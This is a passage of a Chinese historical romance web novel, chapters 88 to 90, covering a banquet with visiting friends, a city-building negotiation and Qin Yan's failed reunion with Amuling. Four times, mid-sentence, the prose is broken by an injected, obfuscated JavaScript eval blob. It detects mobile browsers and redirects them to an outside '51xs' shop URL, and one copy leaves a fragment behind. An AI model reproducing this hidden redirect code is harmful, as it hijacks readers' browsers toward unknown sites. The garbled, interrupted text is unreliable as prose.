“知道,这家伙常吹自己是葛天氏之后,天资确实不错,和我差不多吧。听说他那个‘聆’字就是听天命的意思。我寻摸着是这个意思,他祖先是吧,执牛尾而舞,模仿世间生灵描摹百态,一步步进到了他现在可听天命,不过嘛……算了我不懂他的道。” 陆笙没想到葛聆的名字还有这一层传说,又觉得听到师兄这么讲她觉得亲切,这么厚脸皮! 要在从前她必然是要给他吃一个白眼的,但是今天却笑眯眯地附和:“那是那是。” 谁知她的异常倒叫慧德如坐针毡。 “师妹,你莫不是憋着其他什么事?怎么不呛我!” 陆笙听到这句终于还是没忍住冷笑:“欠骂是不是?” “有点,别人都不敢骂我。”慧德老实交代。 “这一路你没有被骂得体无完肤过?没有祸及师门甚至佛祖?”陆笙有些不信。 慧德庄重地念了一声“阿弥陀佛”,跟陆笙说那不一样。 “认得我名头和学问还敢骂我的人实在少,常常骂我的只有师父和师妹,若没有你们骂我,我如今可学不到如此地步。”他拐弯抹角地夸了一嘴陆笙。 这下换陆笙摆出沉思状。 “怎么了?”慧德拨动几下手中佛珠。 “你是不是也憋着什么事?” 慧德大笑,指着陆笙点两下说:“你啊你啊!你知道刚才我什么心情了吧?” 以为他还要再说几句,慧德却很快站起来,又拿起斗笠戴上,他伸出的手上有些新伤旧疤。 陆笙想问却又咽下,彼此各自有路,师兄不说她就不问了,很快她又反应过来,慧德是要离开。 “这么快?” 陆笙知道师兄是要继续云水四方,但何至于此,连一日都不再逗留,她心中顿起挽留意。 慧德点头。 他说:“我这是拐路来看得你,我想再多待也不方便。你瞧,你家有客到访。” 陆笙往屋外一看,是崔息回来了,还带着两个人,看样子是一对夫妻。 娘子花容月貌,郎君器宇不凡,檀郎谢女很是相配。 只是……陆笙看到那娘子手上动作不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13673078|132703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 由一哂。 这时对面三人也发现了陆笙和慧德,彼此点头致意,女郎大约信佛,合十了双手。 此一番交错后慧德对陆笙说:“师妹,本想请你出山却发现为时已晚,人生各有桎梏,万望珍重。” 陆笙听不懂慧德话里的意思,琢磨着跟着他的脚步走了一段,无论如何她要送一送师兄。 慧德没有拒绝。 分别时陆笙站在门口,师兄的脚步继续出发,两人没有告别。 陆笙觉得时间好像凝在他说话的那一刻,再回神却连慧德的影子也没有,日光晃晃,街道空空。 转身回去的时候沈莲丰已来找她。 “娘子,阿郎邀您过去闲话几句。” “嗯,我这就去。” 虽未当面对谈,但陆笙却对她有几分好奇,她也想去见见那位女郎。 陆笙走过去却迎面见到他们走来,秦厌跟在后面,应是又有公务。 “夫人,我友段悦真。”崔息见到她先开口介绍。 这位段悦真大概是活泼之人,崔息的话刚落就接过,他手臂一摆介绍:“这是段某的夫人,江岚。”江岚对陆笙颔首致意。 寒暄后崔息说现在他们要去处理一些公务,晚上再设宴。他走出几步靠近陆笙,对她说:“莫要太劳累,今日之宴让别人忙碌去吧。” “好。”陆笙答应她。 可崔息听了却两指用力轻轻“啄”了一下她的指尖。 配着他眉尖微微一蹙的表情陆笙明白了,嗯,他这是不信。 等两人走后江岚笑着打趣陆笙:“陆娘子与崔县令真是伉俪情深。” “娘子与段郎君也是一样的。”说完她摆弄一下蹀躞带。 江岚粉面微红,但出口的话却直接,语气不再柔似水,她说:“你都瞧见了!” “瞧见了,夫妻嘛,本就如此。” 沈莲丰对江岚略有耳闻,段公子风流倜傥家世显赫,上京倾心他的女子许多,不知怎么江岚从众人之中脱颖而出,传说是因为她打了段公子一顿。 江岚正觉得与陆笙有缘分,陆娘子神情灵动眼神又清澈,心里不免亲近。 想起之前崔县令说过陆笙颇擅饮食之道的事便说:“听闻娘子颇擅饮食之道,不知可否指点一二?” “只是略懂一二。”陆笙谦虚。 毕竟段悦真是崔息的好友,那肯定家世显赫。 在门当户对的时代里这位女郎也必是有家世的贵女,她的见识哪里会少。 沈莲丰听陆笙如此自谦不由帮衬几句。 “我们娘子确实颇擅饮食之道,阿郎在吃上一惯挑剔,能入他口易,得他一句夸张却难,但阿郎对娘子烹调之物常怀喜悦之心。” 说到这里沈莲丰加上一句“可”来转折。 “可娘子先前去为公务去土人地界受了伤,劳累事做不得……” 等沈莲丰说完,江岚赶紧摆手:“不打紧不打紧,养好身体才是,说不定以后你我家住对门呢!” “嗯,我看有可能!到时日日串门,打马观花,听雨倚桥,做个闲人。” 江岚一拍手,好,真好,不愧是有眼缘的人! 两人你一言我一语,沈莲丰听了时时抿笑。 只是不知为何,她忽然想起好多年前,是仿若前世一样遥远的从前。 那年福圣公主与崔娘子也是如此,闲情逸致。 88. 第 88 章 夏日溽热,冰块发出濛濛雾气。 贾藿满头大汗,今日就算站在冰块旁他依旧觉得这暑热难消。只因他心焦燎,一想到郎君请的是县令就难捱得很。 之前去县令府走货,自己还向梁管事多嘴地说了些话,万一那回叫县令府的眼线瞧见可如何是好? 他记得自己那天与梁管事扶醉而归,还与他在街上大呼小叫了几声,一想到此贾藿又汗如雨下。 “贾藿,明府可到了?”吴岭捏着一把扇子匆匆赶来。 “启禀阿郎,还未见明府车架。”贾藿抹一把汗。 吴岭让他下去,如此汗流浃背的狼狈样不适合陪着自己见崔县令。 贾藿心情一松,长舒一口气退下。 他没走几步听到外面的马蹄声,贾藿心一紧赶忙加快了脚步离去,免得坏了郎君的大事,也害自己失去挣饭吃的活计。 崔息带着段习之下车,见到吴岭已经在等,他身边还放了一块融化近半的冰。 “吴郎君久等。” “明府客气,快请进去!又不知这位是……” 吴岭心下对崔县令的这个行为有些不满,他要与崔息商量的事非同小可,他怎好不提前告知便随意带人前来。 “段习之。” 大商贾没有不知道这个名字的,所以段习之一点前缀也没有加。 吴岭额上汗水立刻冒出来,他竟然是段习之! “某有眼不识泰山,请郎君勿怪。” “今日微服不过作明府之友,顺便听听你们的计划,规划一城这样的事可不多见!”段习之对此事也实在是好奇得紧。 吴岭行礼称“是”,他哪里敢违抗,于是侧身请这俩“大佛”进门,又吩咐婢子上些酥山。 他是个爱吃之人,暑热的夏日尤好酥山,厨子是他从上京请来的,价格不菲。 她做的酥山清净洁白,在江南时母亲还会嘱咐多做些前去供佛,以应佛祖当年菩提树下醍醐灌顶之说。 “佛祖保佑,此事若成,某愿舍宅成寺,一生供奉。”吴岭闭目喃喃。 永平县虽地处边陲,但水道通南通北,南下可抵婆罗洲那里的香料、黄金都是回报丰厚之物,若永平县令能过土人这道关,那此地繁盛之日就在眼前,所以吴岭亲自来此经营。 “不愧吴氏郎君,这吃穿用度还有房屋建制都不同凡响。”段习之左瞧右看,眼睛时不时瞟几眼吴岭。 “建屋之人不懂规矩,有些地方不合礼法,某择日便改。” 段习之开口便是下马威叫吴岭拎着心应对,此时也只能说是房屋买来时便如此。 “一月后再请崔县令来瞧瞧吧。”段习之不跟他客气。 “是。”吴岭小心翼翼地回着话,将两人请入堂内。 开口就如此艰难,后面大约也不会顺利,吴岭闻一闻他涂在扇上的香膏,企图借香味稳下心神。 崔县令坐下后还是一言不发,只有段习之频繁与自己说话。 吴岭思忖着在婢女端上酥山后把母亲供佛这件事说给崔县令听。据说这位崔县令信佛,所以他准备借此博几分好感。 “确实不错,手艺独到。”崔息还真开了口。 气氛缓和,吴岭面上终于能挂得住笑。 他拿起碗也开始品尝酥山,即便因为自己没有及时食用,再吃它已多了几分腻,可依旧味美,紧绷的精神被那股冰凉与甜蜜安抚几分。 崔息和段习之互换眼神,准备趁吴岭吃酥山时发问来控制这一场对话的节奏。 两人对此道算是烂熟于心,于是一场对话下来,吴岭汗湿了后背,崔息则大致摸清楚了吴氏的用意。 这是一场彼此都得好处的事情,但像吴氏这样的商贾人家必为利来,他家势力又大。 “你有想法了?”坐回车上后,段习之看崔息平静如水的模样问。 反正今天自己只是掠阵,用个名头打草惊蛇,他不想为这事费脑子,尤其是自己忽然要赴江南道上任,后面头疼的事情多着呢,能休息就休息。 而且,解决这点问题,崔息绰绰有余。 “李同铮不是大赦过天下么?” “哟,我还以为你一直要叫他圣人呢!嗯,然后呢?”段习之打趣。 “永平县没有免。”崔息简明扼要。 段习之听到这里立马懂了其中关窍。 如今永平县的税可不一样,新规划一座城必然是要钱的,这份钱全由官府和乡绅出那不大可能,所以可以用免税来促进,这其实就是相当于扣除的那部分税变成了房屋的一部分。 “岂不是可以趁机推行一下砖瓦房屋?一次雷火毁去小半城的荒唐事就不会发生。”段习之沉吟后说道。 “正有此意。” 崔息在心里默默算了算,使些手段扣一部分隹、谢两家的钱财,再加自己出资收购米粮的利润应当差不多。 “既然法子都有了回去吧,听这些我头痛,今天该痛痛快快地玩。” “秦厌,直接回府。”崔息对正在赶车的秦厌吩咐。 段习之疑惑地问:“你本来准备转道去哪里?” “机密。” 崔息轻笑,拨开竹帘,车外吹来一缕风,卷起了他垂在肩上的幞头带。 - 崔府此时正热闹。 沈莲丰熟悉上京宴饮规制,命人搭台摆宴,地点就在后园。 荷花池边现下正巧有一块空地,娘子原先种的菜已经吃完,那里正空。 她又命人准备投壶、博戏、酒令,还听取两位娘子的提议把靶子也准备起来。据说是那位江娘子也会射箭,要与自家娘子一较高下。 江岚已换了件虾壳青的圆领袍,两边领子只系一边,风一吹有飘飘出尘之姿。 陆笙较她多了两分英气,本来江岚为她在眉心贴了花钿,但左看右看还是摘了去,陆娘子的个人气质太突出,忽然加入花钿反倒夺了那一点微妙的锐利。 两个人正坐在退休居谈笑,江岚说这高桌坐起来很是不错,等到了江南她也要做一套。 陆笙听她这么说恍然大悟,原来她家郎君是调任前特地来此。 那自己是不是多少也应当出几分力? 如果做大菜劳心劳力那就准备些方便的,只要好吃想必人家也不会介意。 “不知江娘子是否愿在夏夜吃羊肉?做些羊肉串子炙烤不算劳累,永平的夏夜凉风习习,配上井水或冰镇过的薄荷饮刚好,若爱酒我也有梅酒。” 江岚眼睛一下子亮起来,连声说好。 陆笙看她眼睛明亮,还有些感动的意思,立刻了然,绝对是之前没有吃到适口的。 于是她愈发贴心地问江岚的忌口,又请她先试酒水,还给她试了试自己做的红茶菌。 不过给江岚介绍的时候改了个名字,叫三伏饮。 “你给我这么多好玩的好吃的,偏偏我没有什么能回你这份情的。”江岚抿一口酸甜的三伏饮恋恋不舍。 陆笙支着下巴看远处的莲花,高过窗台的野草已经被修去,现在一眼便可望到那莲花池,还有池边的小亭。 听到江岚这么说她回转目光对江岚嫣然一笑说:“客从远方来,哪有不招待之理?” “有了,这块玉佩你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13673079|132703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拿着。” 江岚从自己腰带上解下一块不大的玉佩,上面并没有什么浮夸藻饰,只是做成了葫芦模样,小小的一个,挂着有几分俏皮。 崔息带着段习之是不会进退休居的,只命下人去禀报一番。 江岚拉住陆笙的袖子说:“今天我可要霸占一会儿陆娘子,让崔郎君等着吧!” 陆笙笑着添了句:“那我也要叫段郎君等了,霸占一会儿江娘子。” 下人一回禀,坐在堂中的两位郎君闻言大笑。 段习之指着崔息问:“你夫人使的什么迷魂计?” 崔息不说话,拿着茶杯掩一掩自己得意的笑。 “好你个崔云尘,装什么不语君子,本刺史命你速速招来!”段习之模仿讲话本的动作,伸出手臂用两指点向崔息。 “没听说么?是她们互相扣留,说不定是二位夫人嫌你嫌我了。” 段习之一听觉得这倒是有几分道理,今天还没说几句话,自己和崔息就去勾心斗角寻摸消息,两位娘子不快也有道理。 “崔云尘,这我可是过来人,到时你夫人生气别怪我没教过你。” 可对面的崔息根本没有听他的意思,反而说:“我哪需要你教。” “好、好、好!” 段习之第一个“好”字出口还有三分愠怒,到第三个“好”字时他忽然想到去年冬天的事。 去年冬天都没有带着她来,现在却…… 他立马不生气了,崔云尘啊崔云尘,反正你也是便宜货了,就这样吧! 两个人坐在堂内又说了些话,直到两位夫人请他们过去。 这时候仰头尚有天光未去,但四周暮色已起,倦鸟归巢。 “什么味道这么香?” 段习之闻到空气里飘来一股炙肉的香味,油脂烘着多种香料在煎熬,暖风一送,诱人垂涎。 崔息指了指后园方向说:“多半是在炙羊肉。” “你这是什么表情?炙羊肉费不了多大劲。你这表情当你夫人是豆腐啊?捧着怕摔了含着怕化!” 崔息不接话,只是走得快了些。 一走过去那边果然在炙肉,但不是陆笙,而是其他人。 江岚手里两根,沈莲丰手里两把,两人在烟火里呛得咳嗽,但是依旧不肯放下手里的肉串。 崔息走过去坐在陆笙身边,他问:“若不嫌弃,我为你炙?” “你会么?”陆笙问他。 “……不会。”崔息老实交代,他眼睫半垂,火光度不过全身 段习之笑他:“瞧他,瞎逞英雄!” “那你会吗?”江岚笑吟吟地看着段习之,双眸如水漾着细碎的明光。 “会,必须会。”段习之选了两串开始炙烤,火力过猛油汁溅射碰出一朵又一朵地火花,火烧过肉立马焦黑。 江岚看了哈哈大笑,哄着他说:“你等会儿自己尝尝再给我吃。” “嗯,好吃着呢!” 段习之边用余光瞟陆笙怎么烤,自己边烤边学,不一会还真有了几分模样。 崔息不动声色挪了个位置,段习之瞪了他一眼,谁知这个人光朝着自己夫人,根本没看到自己的愤怒。 他一下心急,油溅开来痛得他发出“嘶”的一声。 江岚不逗他了,自己过拿串,用细刀子切了焦面给他烤,段习之挤在她身边认真地学着。 沈莲丰看着这两对璧人心里欢喜,夜风一吹,轻轻哼起了小调。 陆笙也跟着哼唱几句,但总觉得缺了什么。 四处望望后她拨开鬓边吹乱的发丝问:“怎么不见秦厌?” 89. 第 89 章 “驾!” 秦厌骑马在官道上奔腾,月色照亮今夜的路途。树丛间漫出的蝉鸣声一波未平一波又起,仿若海滨观过的浪潮。 本来他是准备等到秋收以后再对阿木凌说的,可是看到她来信说起两个人的以后秦厌就有些坐立难安。 自己的想法在信里很难说清,没有笔墨的天赋,而且思绪也是混乱的,他更不想对阿木凌撒谎。 所幸衙署公务他已做完了大半,巡逻也还未开始,再犹豫下去不知何时,所以这一趟青州他必须去,一定要去。 很久没有如此长时间地骑马,第二天白日秦厌忍不住在一处脚店休息半日,傍晚时继续出发。 只是路途上忽然阴云密布,他戴上斗笠牵马而行,因为那段路实在泥泞,强行骑过恐怕会出意外。 若是以前,骑也就骑了,不考虑什么意外不意外。 但上次公子说的有道理,自己的目的是见到阿木凌说清楚这件事,而不是需要以最快的速度抵达。 想明白这件事以后秦厌拉着缰绳开始行走,周围时不时有车马快速经过, 可两个时辰以后秦厌看到有车深陷泥泞,有马儿的马掌脱落的事。 秦厌拍拍自己的马,帮着推了一下车。 “郎君倒是沉得住气,这天气还能牵着马走!”赶马车的中年男人爽朗一笑,从车里拿出个粉白鲜桃给他。 秦厌笑着说了谢谢,与自己的马儿分食,桃核被他埋在溪流旁的空地。 走过这段异常泥泞的道路后,天已大黑。 今日秦厌还没有过夜处,本来想去农户家租住,可一路上只有破庙和无灯的茅屋,茅屋他也不好意思硬闯,所以只得去了破庙。 “这条路上最近有江湖悍匪出没,可得小点心,别吃人家手里的东西!”秦厌拉着马嘱咐,马儿眨眨眼睛不理他,这个人以前可没那么烦。 赶路疲累,秦厌也不讲究,生了火拢了些稻草就直接躺了下去。 他把剑解下来放在怀中,湿哒哒的衣服都在火边冒水汽。 山里的夜雨又下起来,外头雨水沙沙作响,不断击打自己的睡意。 快要步入睡梦的时候,雨声里有串不和谐的马蹄声将他快要沉没的意识拽了出来。 马蹄声越来越响,秦厌把耳朵贴在地上,震动从西南面传来,最多八匹马。 他细细思量,最后决定穿上已烘干的乌靴去看看。 - 青州城,刘记绣庄。 阿木凌板着脸走到店铺掌柜那,掌柜也板着脸对她,他不耐烦地说:“有完没完!给了你钱你还来这里撒泼?一瞧你就是山里来的土蛮子!” 他扯着嗓子像野猪一样叫。 下个月是乞巧节,买布做新衣裳的人很多,大伙听见这个动静都围过来凑热闹。 “我阿娘给你绣的花和织的布都是顶好的,可你只给了一半的钱!”阿木凌最近打听一直收她们绣品的掌柜是看人给价的。 别人忍了,阿木凌可不想忍,凭什么! “土蛮子,我问你,这个价你是不是自己愿意卖给我的?我有抢吗?”掌柜拿小指抠抠耳朵,有些不耐烦。 “还叫我土蛮子,我看你是忘恩负义靠吸人家的血发财,功德损尽不得好死!”阿木凌恨恨。 她阿娘现在正染风寒,药钱都要卖东西来凑,发去永平的信不知怎么还没有回音。 掌柜听她如此说两条短似黑虫的眉毛顿时竖起来。 他气冲冲地从柜台后面跑出来扬起手眼看着就要给阿木凌打一巴掌。 周围人眼睛瞪大,老板的对头听闻此事偷偷溜出去报予市监。 阿木凌不管不顾,直接冲上去先给了掌柜的一巴掌。 掌柜头撞在柱子上,一时晕了过去。 有以为出了人命的跑出去传话,越来越多的人围过来。 等到市监来的时候挤了好一会儿才进去,可一进去只有个被众人拽住的年轻娘子和正破口大骂的绣店掌柜。 市监捏捏胡子在心里暗骂那路上的传话人,还传的是人命案,害他那块饼都来不及吃。 “都带走!” 阿木凌看那几个带着刀的围过来目光充满警惕,她知道那是市监,可是这样子的场面自己肯定要交钱! 阿娘不准她卖掉的新织布机和丝线她已经卖了,钱再给市监就瞒不过她。 那织布机她是准备赎了再买回来的,手上的钱刚好够,可贿赂了市监就绝对不够了。 “发什么呆呢?走!”有人推了她一把。 阿木凌眼神闪烁,这时候跑不是好法子,可…… “小娘子,我劝你莫要生出什么心思,本市监秉公执法,有些事你跑得了初一,跑不了十五!” 这话听得人心砰砰直跳,最后她放弃夺刀逃命这个想法。母亲在家有谢娘子照料,自己不应惹更大的乱子叫她担心。 跟着市监走的路上,这掌柜一直在与市监说话,阿木凌看得心冷。 现下日光却正滚烫,抬头望一眼再看眼前,一切都显得很遥远,她有点分不清自己的这颗心是在胸腔颤抖还是跳动。 明明亲人朋友都在,可是为什么这种时候这么令人恐惧…… 还好,不幸中的万幸,那市监要得不多,只是那老板的一半医药钱。 “市监,这事怎么能算了呢!我都被打成这样了,您总得给我评评理!” “刘五,你收的什么货,用的什么价要不要再让我问一问查一查?别下次栽了跟头只骂这地不平,也不看看你自己是什么东西!”市监藏起他的饼,坐在案前冷笑。 这掌柜也不敢太冲,如今他当官的亲戚叫钦差给砍了头。 虽说还有一位倚靠,但毕竟太远,远水救不了近火,他也就收敛了几分。 “是,是!”他立马换个笑脸。 市监让两个人都退了,可阿木凌不走。 “市监,请您责令将他少付的钱补上,我……我还要给母亲治病。”阿木凌跪下说道。 “这位娘子,不是我不办,而是此事应有人证物证。若他报予你价,你因不去比对而栽了跟头,这是你自己的事,若你要报官也应当那时候或者三日以内,听你所说事情已经过了一月有余。” 市监叹一口气,这事确实难办,没有人证物证,他也不知道该怎么办。 虽然看那刘五绝对是干了低价进高价卖的事,可商人就是如此,细节判理需要比自己更大的权力,到时候给自己惹一身麻烦跟谁说,现在这个当口那是多一事不如少一事。 阿木凌刚才也只是一时勇气,见市监推诿也没了再提的胆子,转身离开。 太阳毒辣,她走到一半路便有些吃不消,去河边洗了个脸坐着,柳树拂过面庞,有些酥酥的痒。 她把脸埋在臂弯里,眼泪落下沾湿了衣裳。 不知道多久,背后忽然传来他的声音。 “阿木凌!” 那人喊她的语气欢欣雀跃,阿木凌因痛苦而无比沉重的心骤然一轻。 “秦厌!”阿木凌抱住他。 秦厌身上还有那晚打土匪留的伤,但痛得龇牙咧嘴他也不叫,心里只有欢喜。 可阿木凌却哭了,哭得好大声,周围路过的人全都朝两个人看。 “怎么了,谁欺负你了?跟我说!”秦厌安抚她。 阿木凌哽咽着说:“没什么……就是见到你太开心了。”她没有说出来,只怕秦厌怒火一烧给陆笙和他公子惹出事来。 “阿木凌,我们去找一家饭馆吃饭如何?顺便,我有一些事要与你讲。这次来得匆忙又遇到点事,所以不能待太久。”秦厌没有忘记自己来的目的。 阿木凌本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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秦厌感觉自己站在悬崖,他一时不敢出声,害怕阿木凌愈发难过。事情比他想象得困难一百倍,那些话自己能够明白,可阿木凌不是自己。 他脑子乱作一团,该怎么把笙姐姐那句话表达出来?! 如果自己按照离现在情况最好的结局妥协,那么他或许会成为一个商人,阿木凌会是个勤劳的店主人,他和她会吵吵闹闹过下去,平常夫妻。 如此,自己一定会怨自己的,他也害怕有一天自己会迁怒阿木凌,因为他心里的第一选项不是妥协当个商人,而是披坚执锐保卫家国。 “你怎么不说了?”阿木凌冷笑,看着他欲言又止的模样愈发确信,他必定是反悔了。 一想到阿娘曾经等了阿爹许多年,她就更生气,自己绝不要做这样的傻瓜。 “我……我……”秦厌急地抓头。 香炉里的烟没有停止的意思,一点红不断向下燃烧。 “就这样吧,我很累,不想听了。”阿木凌觉得再纠缠会疲惫,事实上说出这句话她已经没了力气,站起来的时候双腿颤颤。 秦厌听了也站起来,他想拦住阿木凌,虽然她哭着推搡自己。 留下她和放开她都是错误,秦厌想拔出剑把选项全部砍碎。 “嘶!”秦厌忽然吃痛松开手。 阿木凌趁机撩开帘子跑了,手上她的两排牙齿印在渗血。 秦厌跌坐在地,脑袋有些空。 不一会儿,他的手臂上传来疼痛和热流,应该是伤口开裂。 “咚咚咚”,上菜的小二敲门进来,只是看到嘴唇发白的客人和一滩血吓得直接摔碎了碗。 后面有个人破口大骂:“该死的,冲撞了恩人我叫你去铲大粪!” 90. 第 90 章 陆笙正在庭里看槐树,据说这棵是开府时便种下的。 她绕着树沉思,隐约记得槐花在春季,这棵树怎么夏天才开花,难道是有两个品种? 她正琢磨忽然听到门外传来马儿的嘶鸣声。 仆役很快回禀,说是秦厌回来了。 沈莲丰也从堂屋里出来,两个人相伴去看他。 过去一看他正卸货,不知怎么的,他去时一匹马,来时竟然又带了一匹马,看鬃毛和身形还是塞外良马。 “笙姐姐,丰娘,你们在家呀,我没有错过去巡视的时间吧?”秦厌朝她们笑一笑,拿着布巾把面上的汗水擦去。 陆笙没想到他开口第一件事说的竟然是巡逻。 “没呢,阿郎定的乞巧节后,说是天太热树林子里蛇虫鼠蚁多。”沈莲丰补了话头的缺。 这一趟出行叫秦厌肤色深了不少,整个人看起来也老成几分。 “好,这就好。我先去洗个澡,这一趟太累。对了丰娘,帮我准备些伤药吧,我这回出去揍了伙土匪,他们的刀划拉了我几道。” 喊他“恩人”的酒楼东家送了他几幅好膏药,但应该不如丰娘手里的那些。眼下天气热,他这伤不能处理得太含糊。 “那你快去!这些……”沈莲丰指了指仆役们搬的东西。 秦厌爽朗一笑:“是救了人以后,那人给的谢礼!” 陆笙听到他受了伤,嘴边的话暂时咽下。秦厌却向她走过来,走得愈近就越能感觉到他的高大。今日的他莫名有了一两分压迫感,不知是否来自他少见的蹙眉。 “笙姐姐,我和阿木凌没谈好。但……算了,这事还是得我自己解决。”秦厌头走过她身边时轻声说,最后一句话带着点自嘲。 说完他也没有等陆笙回复,直接走了。 “各有缘分,勉强不得。”沈莲丰评价一句,带些过来人心境。她也听到了秦厌说的话,那句很不像秦厌说的话。 万事似乎都在眼前,但又如流水从自己的掌心身侧匆匆而过,留不住半分。 陆笙看着他的背影,想的却是阿木凌如何了,她还好吗? “嗯,各有缘分。”陆笙声音很轻。 沈莲丰怕她挂怀,那张大夫开的药还没吃完,不能叫娘子又添心病,于是她问:“听珞云说新城昨日已动工,娘子要不要出去看看?顺便再给娘子添些纸笔。” “正巧想去,之前我们府里建屋子还没看够。”陆笙听到这件事总算开怀几分。 那次说完驱虎吞狼计后崔息就提过新建永平,没想到如今真的实现。其实永平镇现在的选址并不理想,它的问题显而易见,尤其是以后这座县城多半要考转运物资发展,而对转运来说这里有个致命的缺点,它的码头实在太小。 崔息在批阅文书时还发现,在一些残破篇章里记录着地动,还记载当时有一大片屋子直接被土地吞了下去。陆笙当然不会去问既然有危险怎么不早些更换县城地址这样的可笑问题,这事毕竟身不由己。 所以建设新城之事意义重大,陆笙颇感兴趣。 “娘子先去休息一会儿,等会我来喊你。”沈莲丰语气柔和。 陆笙点点头,沿着走廊往退休居去。居所里现下正一团乱,各种书卷满堆着。崔息为她购置了比想象中还要多的书,说养病的时候可以看。 这确实是个好法子,就是崔息选的本子没有话本,经学、诗集还有一些佛本生故事。 只是看了这些东西陆笙这颗心怎么能闲下来,拿了纸和笔就开始记自己心里那些琐碎的灵感火花。等回过神来时自己仿佛进入了期末周,有一种暗无天日的疯狂,有时倒在纸堆里吃一颗桂花糖才恢复几分。 很危险,但真是令人着迷。 无数思维的触碰、勾勒、分析这段时间自己的变化,万书注我,我生万言。每次写完,等墨迹干涸后,陆笙会用手按一按纸张,它们会有奇妙的声响,好像是自己的思想在开口说话。 写完很多张,多到放在桌案上叠起来后会因为袖边风飘散的时候陆笙就会起一炉火,亲手把这些东西一张一张毁去。 有时候她会想起阿基米德的话,他说给他一个支点可以翘起整个地球,那么这些就是陆笙自己的支点,很可惜,这些无法留下。 思绪又开始纷飞,陆笙转头看了看今天的桌案,纸还不多,不需要焚烧。 她坐下看窗外,洒在后圆日光接近白色,一切过曝。愣愣地仿佛对抗似得盯着看了好一会儿,陆笙的眼睛开始酸胀,闭眼的时时窗外猛然吹来一阵怪风,风大得将窗户吹闭又吹开,那些纸页像生了翅膀似得胡乱飞舞。 陆笙捂住耳朵,窗户闭合的噪音叫她耳鸣。自从吃了药,或者写了这些东西以后她就又犯了这个老毛病。一种类似消音的声响在耳朵里响起,它更尖锐,先是刺得人耳朵发麻继而是一种震动的疼痛,最后大脑也跟着痛起来。 最恼怒的是这个时候心里会有恐惧破土,因为她听不到其他声音,这样的世界变得很不真实,就连视线也会开始模糊。 陆笙扶着桌沿摇摇晃晃地站起来,她要去关窗,可看到这些疯狂的纸页忍不住伸手。 风太大,纸太薄,陆笙的手指顷刻间就多了几道血痕,明明还是夏日。 但陆笙依旧固执地伸手,再伸一点。在失去其他声音的世界里,陆笙只想抓住那张不停盘旋在头顶的纸。可高举的臂膀叫她重心失恒,一下摔倒在地。 攥着手里的纸页,陆笙摔得眼冒金星,耳鸣逐渐远离。平静下来以后,她摸一摸心口,依旧可以感觉到自己轻微的不甘心。 或许阮清淮说得对,自己还没品尝过权力。 陆笙忽然被自己逗笑,她笑自己要么极度自卑,要么极度自傲,在尘世呛了几十年的灰还是尖锐的,把自己刺得遍体鳞伤。她就不可以折中一些,只要去掉一点棱角就好,只要一点。 思绪混乱之时,额头一片温热,陆笙一摸,原来是磕破了头。 - 崔息赶回家时陆笙已经包扎好伤口。 陆笙看着他愧疚的面容说:“不必道歉,下次让我跟着你一块去瞧瞧建城进度吧,不想闷着了。” 崔息沉吟,工地上人多也乱,声响太大对病情不益。 可看着她期盼的眼神,崔息叹了口气,他无法拒绝。 “那要叫秦厌陪着你。”他做出让步。 陆笙点头同意。 “我已经把你的生息水方子教出去,还有农耕之法也一并教给村正们。”崔息的声音温和,怕叫陆笙犯偏头痛的毛病。 说完看她神色尚可,他便又给她说了关于那个杯子的出处。杯子是友人到访时陆笙拿出的,是来自于卡铃的礼物。意外的是段习之和江岚竟然认得这个杯子产自何处。 陆笙一下想到他们的那条商路来往,便叫崔息去查。 “和你说的一样。”崔息伸手用指腹帮她揉一揉穴位,也不知怎么了,从土人那回来陆笙的身子似乎一落千丈,就连张大夫也说不出个所以然,吃了那么多药还没好,张大夫也觉得怪哉怪哉。 “以后永平县肯定会愈发好,多亏有你这位明府。” 陆笙对于那条商路还有其他考量,可越思考她外来的感觉越凸显,自己好像又是黑夜里举着火把的那个人。她知道利益的天平必会向一处倾斜,向土人那边不大可能,向永平县这边她又感到担忧。 参与地越深,她就越觉得自己是时间缝隙产出的异物,永远少了一分为哪一方争取绝对先手的理由。 “陆笙,不要这么说,做事一半人力一半天意,哪能多亏得我,没有你何来所谓我之功绩。”他语气有些激动。 说完又看一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13707435|132703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看陆笙,用做错事似的语气讲:“对了,有一件事我想来想去还是应当告诉你。” 